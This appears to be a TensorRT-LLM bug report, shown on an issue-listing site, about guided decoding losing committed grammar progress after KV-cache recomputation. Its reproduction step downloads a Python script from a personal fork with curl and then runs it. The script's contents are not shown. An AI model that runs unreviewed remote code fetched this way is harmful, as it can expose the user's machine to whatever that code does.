[Bug]: Guided decoding restarts its grammar after KV-cache recomputation
Nobody has claimed this yet.
- Dominant language
- Python
- Stars
- 14.7k
- Forks
- 2.8k
- Avg merge
- 2d 23h
- Merged PRs (30d)
- 489
Description
System Info
- TensorRT-LLM
1.3.0rc26.dev202609050001, source17803f6c0cbe8d9fed3ccf46a295b867e3493d3e. - The same matcher-history omission remains in main
3fed8e7103e3c549c56a5053f286bdcff9572706andv1.3.0rc25; Reproduced on the development revision above; main andv1.3.0rc25were not executed. - RTX 5070 Laptop, SM120, 8 GiB, driver 610.57.04; Linux x86_64.
- Python 3.12.3, PyTorch 2.12.0+cu130, FlashInfer 0.6.18, XGrammar 0.1.32, Transformers 5.5.4; CUDA 13.0.
- Environment and worker logs.
Information
- The official example scripts
- My own modified scripts
Tasks
- An officially supported task in the
examplesfolder (such as GLUE/SQuAD, ...) - My own task or dataset (give details below)
Reproduction
Guided decoding loses committed grammar progress when the MAX_UTILIZATION scheduler pauses a request for KV-cache recomputation.
Run the following script against the TensorRT-LLM version above:
curl -fL https://raw.githubusercontent.com/1sgtpepper/TensorRT-LLM/173a17d744f64d17f7aa62d07acab323e9f10c3a/.github/guided_worker.py -o guided_worker.py
export TLLM_WORKER_USE_SINGLE_PROCESS=1
export TLLM_DEBUG_MODE=1
python guided_worker.py --kv-tokens 512 --output ample.json
python guided_worker.py --kv-tokens 128 --output pressure.json
The script uses the public LLM API, a one-layer Llama with random weights, a local character tokenizer and two 95-token requests constrained to a{31}b{32}c{32}. It downloads no weights. Overlap and CUDA graphs are disabled; the real scheduler chooses when to pause.
Expected behavior
Both requests return 31 a tokens, 32 b tokens and 32 c tokens, including after recomputation.
actual behavior
With capacity 512, both outputs are correct and neither request pauses. With capacity 128, the scheduler pauses the second request after 64 committed tokens. It then emits 31 a tokens instead of the remaining 31 c tokens, failing with Real worker lost guided output progress.
additional notes
GuidedRequest.from_llm_request omits the committed output prefix when a matcher must be rebuilt. Replaying that prefix restores the correct continuation at the same 64-token pause. Restoring the old code restores identical incorrect token IDs.
The linked logs were recorded without TLLM_DEBUG_MODE=1; the reproduction commands enable it.
Before submitting a new issue...
- Make sure you already searched for relevant issues, and checked the documentation and examples for answers to frequently asked questions.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start with guided_worker.py and GuidedRequest.from_llm_request, then trace the MAX_UTILIZATION scheduler path that pauses a request for KV-cache recomputation. Run the two reproduction commands with capacities 512 and 128; done means both requests preserve the expected 31 a, 32 b, and 32 c tokens after recomputation.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- python, pytorch
- Domain
- ai, backend, performance
- Issue type
- Bug
- Difficulty
- 4/5
- Estimated time
- 3-5 days
- Activity status
- Active
- Clarity
- Mostly clear
- Newbie friendliness
- 45/100